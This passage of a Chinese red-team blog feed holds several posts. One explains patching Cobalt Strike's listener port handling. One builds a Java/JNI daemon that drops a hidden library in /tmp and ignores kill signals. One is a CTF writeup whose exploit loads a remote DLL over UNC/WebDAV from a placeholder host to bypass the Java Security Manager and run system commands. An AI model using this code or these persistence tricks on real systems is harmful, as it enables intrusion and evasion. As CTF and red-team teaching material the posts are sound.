指向的端口，但搜了一大圈，并没有找到相关的解决方法，AggressorScript 也只能在客户端动动刀子，想要修改 Listener 相关的得要从根源入手。</p><h1 id="杀死问题的办法-——-魔改"><a href="#杀死问题的办法-——-魔改" class="headerlink" title="杀死问题的办法 —— 魔改"></a>杀死问题的办法 —— 魔改</h1><p>我的思路是在创建 listener 的时候，再加一个选项，让 stage 用的端口和 listener 实际监听的端口分开。</p><blockquote><p>当然做👇这些之前要先反编译，我这里用的 <code>fernflower</code> ，用法略过。</p></blockquote><h2 id="0x01-UI"><a href="#0x01-UI" class="headerlink" title="0x01 UI"></a>0x01 UI</h2><p>CobaltStrike 用的是 swing 写的 UI，创建 Listener 的部分在 <code>aggressor.dialogs.ListenerDialog.show()</code></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal4.jpg" alt="p4"></p><p>用了 DialogManager 包装了每个 Dialog，调用 <code>DialogManager.text</code> 可以在当前 dialog 创建输入框，命名为 <code>bind port</code>，作为实际监听的端口。</p><p>来加一个输入框：</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal6.jpg" alt="p6"></p><p>当 <code>Save</code> 按钮按下时，会在后续触发到 <code>ListenerDialog.dialogResult</code></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal5.jpg" alt="p5"></p><p>这里检查了一下 domain 是否超长，通过了，就推送一个 <code>listeners.create</code> 请求到 teamserver，参数是 listener 的名字和配置信息，再之后 listener 就会在 teamserver 建立。</p><p>我们下一步是要把 <code>bind port</code> 传到 <code>this.options</code>，这里有点绕，在调用 <code>DialogManager.text</code> 的时候创建一个内部的 <code>DialogListener</code>。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal7.jpg" alt="p7"></p><p>在 <code>DialogManager.addDilogListenerInternal</code> 可以看到会把创建的 <code>DialogListener</code> 加到</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal9.jpg" alt="p9"></p><p><code>Save</code> 按钮实际是 <code>DialogManager.action_noclose</code> 生成的<br>这里的，点击事件可以在这里找到。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal10.jpg" alt="p10"></p><p>这里调用了之前的创建的匿名 <code>DialogListener</code>，将值传到 <code>this.options</code>，所以创建的输入框会自动把值添加到配置里来，😭绕了一圈啥也不用干。</p><p>为了能在 <code>Listeners</code> 这个 Tab 直接看到设置的 <code>bind port</code>， 给 <code>aggressor.windows.ListenerManager</code> 的 <code>cols</code> 加上 <code>bind port</code> 就会自动加载进来了。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal13.jpg" alt="p13"></p><p>效果如下：</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal12.jpg" alt="p12"></p><h2 id="0x02-Listener"><a href="#0x02-Listener" class="headerlink" title="0x02 Listener"></a>0x02 Listener</h2><p>在各处调用 Listener 时，会创建 <code>common.Listener</code> 实例，里面是没有 <code>bind port</code> 字段的，所以要给它加上。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal19.jpg" alt="p19"></p><h2 id="0x03-Stage"><a href="#0x03-Stage" class="headerlink" title="0x03 Stage"></a>0x03 Stage</h2><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal11.jpg" alt="p11"></p><p>teamserver 接到创建 Listener 的请求后，会先把 Listener 序列化保存下来，以便下次 teamserver 重启的时候可以自动监听。</p><p>然后本地调用 <code>beacons.start</code> 。这里的调用链有点长:</p><p>server.Beacons.call() -&gt; server.Beacons.setup() -&gt; beacon.BeaconsSetup.start() -&gt; server.WebCalls.getWebServer() -&gt; beacon.BeaconSetup.exportBeaconStage()</p><p>最主要的是两个地方 <code>server.WebCalls.getWebServer()</code> 创建 Web 服务，<code>beacon.BeaconSetup.exportBeaconStage</code> 构造 Stage 的 shellcode。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal14.jpg" alt="p14"></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal15.jpg" alt="p15"></p><p>这里的 <code>var1</code> 是监听的端口号，默认的 Stage 指向的端口和 Listener 监听的端口号是同一个，现在我们要让他们的端口分离，因为 <code>start()</code> 参数不是 <code>Map</code> ，所以不能直接往里加一个参数，只能重写或者重载一下这个方法。</p><p>我直接重写了一下，加了一个参数 <code>bindPort</code>，创建 Web 服务时，就用这个端口。Stage 还是用原来的 <code>var1</code> 作为端口，不用修改。这样创建 <code>Listener</code> 的时候，原来端口号代表 Stage 用的</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal16.jpg" alt="p16"></p><p>相应的，上层的调用链也要修改一下。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal17.jpg" alt="p17"></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal18.jpg" alt="p18"></p><h2 id="0x05-编译-amp-替换"><a href="#0x05-编译-amp-替换" class="headerlink" title="0x05 编译 &amp; 替换"></a>0x05 编译 &amp; 替换</h2><p>然后要把修改过的代码编译一下，替换到 jar 里。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">javac -cp cobaltstrike.jar common/Listener.java</span><br><span class="line">zip -u cobaltstrike.jar common/Listener.class</span><br><span class="line">javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java </span><br><span class="line">zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class</span><br><span class="line">javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java </span><br><span class="line">zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class</span><br><span class="line">javac -cp cobaltstrike.jar server/Beacons.java</span><br><span class="line">zip -u cobaltstrike.jar server/Beacons.class</span><br><span class="line">javac -cp cobaltstrike.jar beacon/BeaconSetup.java </span><br><span class="line">zip -u cobaltstrike.jar beacon/BeaconSetup.class</span><br></pre></td></tr></table></figure><p>⬆️可能有点遗漏的，各位自己调一下吧。</p><h1 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h1><p><img src="/2020/04/10/pentest-cobaltstrike-improve/rrr.jpg" alt="rrr"></p><h1 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h1><p>这是一篇19年的存稿，当时还没有 <a href="https://www.cobaltstrike.com/help-http-beacon" target="_blank" rel="noopener">CS 4.0</a>，这个问题 4.0 已经解决了，可以配置 Listener 的 <code>C2 Port</code> 和 <code>Bind Port</code>，将 C2 的端口与 teamserver 实际监听的端口分开。</p><p>现在放出来，也算抛砖引玉，给想要修改 CS 的小伙计提供点经验，欢迎交流～</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;国内VPS的 80,443 端口默认都是需要备案才能使用，所以如果 TeamServer 搭在国内，Listener 只能选择其他端口，一般使用是没什么问题，但如果要配置域前置，会遇到上线不了的问题。&lt;/p&gt;
&lt;h1 id=&quot;问题分析&quot;&gt;&lt;a href=&quot;#问题分析&quot; cl
      
    
    </summary>
    
    
    
      <category term="红蓝对抗" scheme="https://jayl1n.github.io/tags/%E7%BA%A2%E8%93%9D%E5%AF%B9%E6%8A%97/"/>
    
      <category term="RedTeam" scheme="https://jayl1n.github.io/tags/RedTeam/"/>
    
      <category term="Pentest" scheme="https://jayl1n.github.io/tags/Pentest/"/>
    
  </entry>
  
  <entry>
    <title>Java 实现后台执行</title>
    <link href="https://jayl1n.github.io/2020/02/13/java-nohup-implementation/"/>
    <id>https://jayl1n.github.io/2020/02/13/java-nohup-implementation/</id>
    <published>2020-02-13T06:12:04.000Z</published>
    <updated>2023-08-16T15:16:43.204Z</updated>
    
    <content type="html"><![CDATA[<p>常用的将程序放到后台执行，并在shell退出后依然运行的方法，是使用 <code>nohup</code> 与 <code>&amp;</code>，比如 <code>nohup java -jar abc.jar &amp;</code>。</p><h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p><code>nohup</code> 的作用是忽略 <code>SIGHUP</code> 信号。当一个shell关闭后，会向运行的程序发送 <code>SIGHUP</code> 信号，通知同一shell内的各个进程，它们与控制终端不再关联。系统对 <code>SIGHUP</code> 信号的默认处理是终止收到该信号的进程。</p><p><code>&amp;</code> 的作用是忽略 <code>SIGINT</code> 信号。<code>Ctrl+C</code> 会向前台进程发送 <code>SIGINT</code> 信号，以关闭程序。</p><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><p>综上，只要我们能实现 <code>nohup</code> 和 <code>&amp;</code> 的功能，就能让程序在后台运行，不会因为 shell 断开而中断了。</p><p>由于题目是用 Java 实现，而 Java 本身并不能进行如此底层的操作，所以思路是使用 JNI，借助 C/C++ 实现。</p><p>直接上代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> io.github.jayl1n.daemon;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">native</span> <span class="keyword">boolean</span> <span class="title">ignoreSignal</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>javah io.github.jayl1n.daemon.Main</code> 生成头文件，添加到 C++ 项目里。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"io_github_jayl1n_daemon_Main.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;signal.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function">JNIEXPORT jboolean JNICALL <span class="title">Java_io_github_jayl1n_daemon_Main_ignoreSignal</span><span class="params">(JNIEnv *, jobject)</span> </span>&#123;</span><br><span class="line">    <span class="comment">//忽略 SIGHUP SIGINT 信号，防止 shell 断开 ，Ctrl+C 中断程序</span></span><br><span class="line">    signal(SIGHUP, SIG_IGN);</span><br><span class="line">    signal(SIGINT, SIG_IGN);</span><br><span class="line">    <span class="keyword">return</span> JNI_TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>生成出来的动态库，需要放到与jar包相同的目录下，或者是 <code>java.library.path</code> 指定的路径，否则在 <code>System.loadLibrary</code> 时无法找到动态库。</p><p><code>java.library.path</code> 变量可以在执行时添加 <code>-Djava.library.path=/a/b/c</code> 参数指定。<code>System.getProperty(&quot;java.library.path&quot;)</code> 可以查看当前的路径。但无法通过 <code>System.setProperty(&quot;java.library.path&quot;,&quot;/a/b/c&quot;)</code> 修改，因为在 JVM 启动时就会缓存这个值，后续修改不会生效，可以通过反射来清除 <code>ClassLoader</code> 的 <code>sys_paths</code> 变量(缓存标志)，重新初始化 <code>usr_paths</code>，代码如下：</p><p>java/lang/ClassLoader.java:1815</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">loadLibrary</span><span class="params">(Class&lt;?&gt; fromClass, String name, <span class="keyword">boolean</span> isAbsolute)</span> </span>&#123;</span><br><span class="line">    ClassLoader loader = (fromClass == <span class="keyword">null</span>) ? <span class="keyword">null</span> : fromClass.getClassLoader();</span><br><span class="line">    <span class="keyword">if</span> (sys_paths == <span class="keyword">null</span>) &#123;</span><br><span class="line">        usr_paths = initializePath(<span class="string">"java.library.path"</span>);</span><br><span class="line">        sys_paths = initializePath(<span class="string">"sun.boot.library.path"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (isAbsolute) &#123;</span><br><span class="line">        <span class="keyword">if</span> (loadLibrary0(fromClass, <span class="keyword">new</span> File(name))) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> UnsatisfiedLinkError(<span class="string">"Can't load library: "</span> + name);</span><br><span class="line">    &#125;</span><br><span class="line">    ......</span><br></pre></td></tr></table></figure><p>第三行，<code>sys_paths</code> 不为 null 时，不会再初始化 <code>java.library.path</code>，相当于是第一次读取就被缓存到了 <code>usr_paths</code>。</p><p>通过反射清除 <code>sys_paths</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">//先修改 java.library.path</span></span><br><span class="line">    System.setProperty(<span class="string">"java.library.path"</span>, System.getProperty(<span class="string">"java.library.path"</span>) + <span class="string">":/Users/jaylin/daemon-demo/bin"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//清除缓存标志</span></span><br><span class="line">    Field sys_paths = ClassLoader.class.getDeclaredField(<span class="string">"sys_paths"</span>);</span><br><span class="line">    sys_paths.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">    sys_paths.set(<span class="keyword">null</span>,<span class="keyword">null</span>);</span><br><span class="line">&#125; <span class="keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125;</span><br><span class="line">    <span class="comment">//后续再 loadLibrary 时，将会使用新的 usr_paths</span></span><br></pre></td></tr></table></figure><p>👆上面说了一个奇迹淫巧，在有多个动态库，相互依赖时比较有用。</p><p>这里其实也可以使用 <code>System.load</code> 直接指定绝对路径（注意和<code>System.loadLibrary</code> 的区别）。</p><p>由于动态库无法直接打包到 <code>jar</code> 包里用，所以一般是要分开上传到服务器。</p><p>为了优雅的使用动态库，可以硬编码到 jar 包里，在执行时释放出来，JNI 支持延时加载动态库。</p><p>这里我使用 base64 编码， <code>cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64</code>，下面写个例子，定时输出字符到 <code>/tmp/test</code>：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">public class Main &#123;</span><br><span class="line">    private native boolean ignoreSignal();</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) throws IOException, Base64DecodingException &#123;</span><br><span class="line">        //释放动态库</span><br><span class="line">        String dynlib = &quot;z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==（省略）&quot;;</span><br><span class="line">        File dynlibFile = new File(&quot;/tmp/.jayl1n&quot;);</span><br><span class="line">        FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);</span><br><span class="line">        fileOutputStream.write(Base64.decode(dynlib));</span><br><span class="line">        fileOutputStream.close();</span><br><span class="line"></span><br><span class="line">        //加载动态库</span><br><span class="line">        System.load(&quot;/tmp/.jayl1n&quot;);</span><br><span class="line">        //调用</span><br><span class="line">        new Main().ignoreSignal();</span><br><span class="line">        AtomicInteger i = new AtomicInteger();</span><br><span class="line">        while (true) &#123;</span><br><span class="line">            try &#123;</span><br><span class="line">                Runtime.getRuntime().exec(new String[]&#123;&quot;/bin/bash&quot;, &quot;-c&quot;, &quot;echo &quot; + i.getAndIncrement() + &quot; &gt;&gt; /tmp/test&quot;&#125;);</span><br><span class="line">                Thread.sleep(1000);</span><br><span class="line">            &#125; catch (IOException | InterruptedException e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>效果：</p><p><img src="/2020/02/13/java-nohup-implementation/xg.gif" alt="效果"></p><h1 id="进阶-——-免疫-kill-命令"><a href="#进阶-——-免疫-kill-命令" class="headerlink" title="进阶 —— 免疫 kill 命令"></a>进阶 —— 免疫 kill 命令</h1><p>kill 命令默认是发送 <code>SIGTERM</code> 信号，友好地通知进程该结束了。进程在这种情况下可以不响应 <code>SIGTERM</code>（即忽略），继续执行下去。</p><p>也就是说只要再 <code>signal(SIGTERM, SIG_IGN);</code> 就可以防止被 kill 杀掉了，经过测试确实可以实现，有兴趣的可以自己试一下。</p><p>不过，当 kill 命令带参数时（kill -9），发送的是 <code>SIGKILL</code> 信号，这个信号无法被捕获或忽略，CTF 里有常用的杀不死马的方法 <code>kill -9 -1</code>(杀死除init进程外的所有进程)，此时，程序无法感知到 <code>SIGKILL</code> 信号，就被系统干掉了。</p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="https://people.cs.pitt.edu/~alanjawi/cs449/code/shell/UnixSignals.htm" target="_blank" rel="noopener">Unix Signals</a></p><p><a href="https://my.oschina.net/LinBigR/blog/799561" target="_blank" rel="noopener">Nohup源码分析</a></p><p><a href="https://blog.csdn.net/z50L2O08e2u4afToR9A/article/details/80047865" target="_blank" rel="noopener">一分钟了解nohup和&amp;的功效</a></p><p><a href="https://blog.csdn.net/weixin_39540568/article/details/87985417" target="_blank" rel="noopener">kill命令——系统内部执行流程</a></p><p><a href="https://blog.csdn.net/madpointer/article/details/13091705" target="_blank" rel="noopener">不可忽略或捕捉的信号—SIGSTOP和SIGKILL</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;常用的将程序放到后台执行，并在shell退出后依然运行的方法，是使用 &lt;code&gt;nohup&lt;/code&gt; 与 &lt;code&gt;&amp;amp;&lt;/code&gt;，比如 &lt;code&gt;nohup java -jar abc.jar &amp;amp;&lt;/code&gt;。&lt;/p&gt;
&lt;h1 id=&quot;原理&quot;
      
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title>2020 大家新年快乐鸭</title>
    <link href="https://jayl1n.github.io/2020/01/04/happy-new-year-2020/"/>
    <id>https://jayl1n.github.io/2020/01/04/happy-new-year-2020/</id>
    <published>2020-01-03T17:33:41.000Z</published>
    <updated>2023-08-16T15:16:43.185Z</updated>
    
    <content type="html"><![CDATA[<p>距离上次写博客已经隔了大半年，由于中间换了MacBook，又急急忙忙的赶去实习，原来博客的源码一直没时间迁移过来（就是懒），所以很久都没有发文了。</p><p>目前我在某美股上市公司做红蓝对抗，实习了这么久，收获了挺多，打算有时间了写出来。</p><p>敬请关注，祝大家新年快乐～ （手动龇牙</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;距离上次写博客已经隔了大半年，由于中间换了MacBook，又急急忙忙的赶去实习，原来博客的源码一直没时间迁移过来（就是懒），所以很久都没有发文了。&lt;/p&gt;
&lt;p&gt;目前我在某美股上市公司做红蓝对抗，实习了这么久，收获了挺多，打算有时间了写出来。&lt;/p&gt;
&lt;p&gt;敬请关注，祝大家
      
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>SCTF2019 babyEoP Writeup</title>
    <link href="https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/"/>
    <id>https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/</id>
    <published>2019-06-26T06:37:52.000Z</published>
    <updated>2023-08-16T15:16:43.315Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p> 第一次给比较正式的比赛出题 :) ，花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了，看结果还是阔以的——0解，也有些遗憾，没能让 Part 2 出来。</p><h1 id="Writeup"><a href="#Writeup" class="headerlink" title="Writeup"></a>Writeup</h1><p>题目给了一个webshell，弱口令 123456 直接进去。</p><p>Tomcat启用了<em>Java Security Manager</em>，webshell基本所有功能无法正常使用，但是可以查看有限的几个目录文件，无写权限。</p><p>如果顺利，应该可以收集到以下信息：</p><ol><li><p>cookie处存在反序列化的点，有反序列化漏洞。</p></li><li><p>查看lib目录，存在 commons-collections 3.1 gadget。</p></li><li><p>找到 <code>catalina.policy</code> 文件，是Tomcat默认的安全策略配置文件，这应该是本题可能有点脑洞的地方，因为没有给 <code>C:/babyEoP/apache-tomcat-8.5.42</code> 的读权限，所以无法列目录，但是 <code>conf</code> 目录是可读的。（有将近10位选手读到了这个文件hhhh。）</p><p>我在官方提供的 <code>catalina.policy</code> 的基础上，做了一些修改。给了 <em>LoadLibrary</em> 、 <em>createClassLoader</em>、 <em>accessDeclaredMembers</em> 几个重要权限。</p></li></ol><p>分析 policy ，应该很容易可以想到，要通过 JNI 绕过 <em>Java Security Manager</em>。但是 JNI 需要加载一个 dll 动态链接库，由于并没有给任何写权限，所以是不可能上传 dll 的。</p><p>并且，webshell 的 <code>Eval Java Code</code> 使用时，需要向当前目录写一个 <code>tmp.jsp</code> 文件，所以也是不能用的（不要想着用这个执行代码）。</p><p>那么该如何才能执行代码来加载一个不在本地的dll呢？</p><p>下面是具体的解题思路：</p><p>题目已经给了反序列化的点以及gadget，可以通过这个来执行代码。</p><blockquote><p>ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget，但是都是基于 Runtime.exec 的，并没有给这个权限。So 想要直接利用是不行的。</p></blockquote><p>但是直接用 gadget 构造出加载dll可能比较困难，所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。</p><p>构造见 <a href="https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java" target="_blank" rel="noopener">https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java</a> (基于 CommonsCollections6)</p><blockquote><p>有些师傅用的 CommonsCollections5 gadget 改的，但是 BadAttributeValueExpException 在反序列化时，会检查是否启用 JSM，如果启用了，则不会触发 gadget 需要的 toString 方法，导致利用失败。</p></blockquote><p>下面要加载 dll，用 JNI 绕 JSM。</p><p>同样因为没有写权限，且 dll 无法一起打包到 jar 里，所以要从网络上加载 dll。</p><p>这里利用 <code>System.load</code> 的一个特性——可以使用 UNC 路径，加载远程的 dll。</p><p>为什么可以使用 UNC 呢？来看下 System.load 的调用过程。</p><ol><li>System.load</li></ol><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561382235958.png" alt="1561382235958"></p><p>​  调用了 Runtime.getRuntime().load0</p><ol start="2"><li><p>Runtime.getRuntime().load0</p><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561383875593.png" alt="1561383875593"></p></li></ol><p>​  在这里会判断 filename 是否是一个绝对路径，如果不是就直接抛出异常，是就进一步加载。</p><ol start="3"><li><p>File.isAbsolute</p><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561382827270.png" alt="1561382827270"></p><p>再看看 File 是如何判断是否是绝对路径的。</p><p>根据描述，linux下要求以 <code>/</code> 开头。windows下，要求以盘符或者 <code>\\\\</code> 开头。</p></li></ol><p>emm 综上，所以这里可以使用 UNC 路径。</p><p>下面是另一个坑，UNC 默认是走 445 端口的，如果没有特殊情况，公网上都是屏蔽了这个端口的。</p><p>这里利用 windows 一个特性，在开启了 webclient 服务的情况下，UNC 访问 445 失败时，会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝)， 这一点 hint 已经提示过了。</p><h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><h3 id="类"><a href="#类" class="headerlink" title="类"></a>类</h3><p>R.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">R</span> </span>&#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">    System.load(<span class="string">"\\\\xxx.xxx.xxx.xxx\\JNI.dll"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title">exec</span><span class="params">(String cmd)</span></span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">R</span><span class="params">(String cmd)</span> </span>&#123;</span><br><span class="line">        exec(cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">javac R.java</span><br><span class="line">jar cvf R.jar R.class</span><br></pre></td></tr></table></figure><p>将打包的 R.jar 放到服务器上的 web 服务下。</p><h3 id="DLL"><a href="#DLL" class="headerlink" title="DLL"></a>DLL</h3><h4 id="R-h"><a href="#R-h" class="headerlink" title="R.h"></a>R.h</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#ifdef __cplusplus</span><br><span class="line">extern &quot;C&quot; &#123;</span><br><span class="line">#endif</span><br><span class="line">JNIEXPORT void JNICALL Java_R_exec</span><br><span class="line">(JNIEnv *, jclass, jstring);</span><br><span class="line"></span><br><span class="line">#ifdef __cplusplus</span><br><span class="line">&#125;</span><br><span class="line">#endif</span><br><span class="line">#endif</span><br></pre></td></tr></table></figure><h4 id="R-cpp"><a href="#R-cpp" class="headerlink" title="R.cpp"></a>R.cpp</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#include &quot;R.h&quot;</span><br><span class="line">#include&lt;stdlib.h&gt;</span><br><span class="line"></span><br><span class="line">JNIEXPORT void JNICALL Java_R_exec</span><br><span class="line">(JNIEnv *env, jclass clazz, jstring str) &#123;</span><br><span class="line">char* cmd= (char*)env-&gt;GetStringUTFChars(str,JNI_FALSE);</span><br><span class="line">system(cmd);</span><br><span class="line">env-&gt;ReleaseStringUTFChars(str,cmd);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译成 dll，放到服务器的 webdav 服务下。</p><p>用 <a href="https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java" target="_blank" rel="noopener">https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java</a> 构造序列化 payload，贴到 cookie 里打一发，完事儿~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt; 第一次给比较正式的比赛出题 :) ，花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了，看结果还是阔以的——0解，也有些遗憾，没能让
      
    
    </summary>
    
    
    
      <category term="CTF" scheme="https://jayl1n.github.io/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Windows下抓取明文密码</title>
    <link href="https://jayl1n.github.io/2019/03/29/pentest-getpassword/"/>
    <id>https://jayl1n.github.io/2019/03/29/pentest-getpassword/</id>
    <published>2019-03-29T11:32:22.000Z</published>
    <updated>2023-08-16T15:16:43.287Z</updated>
    
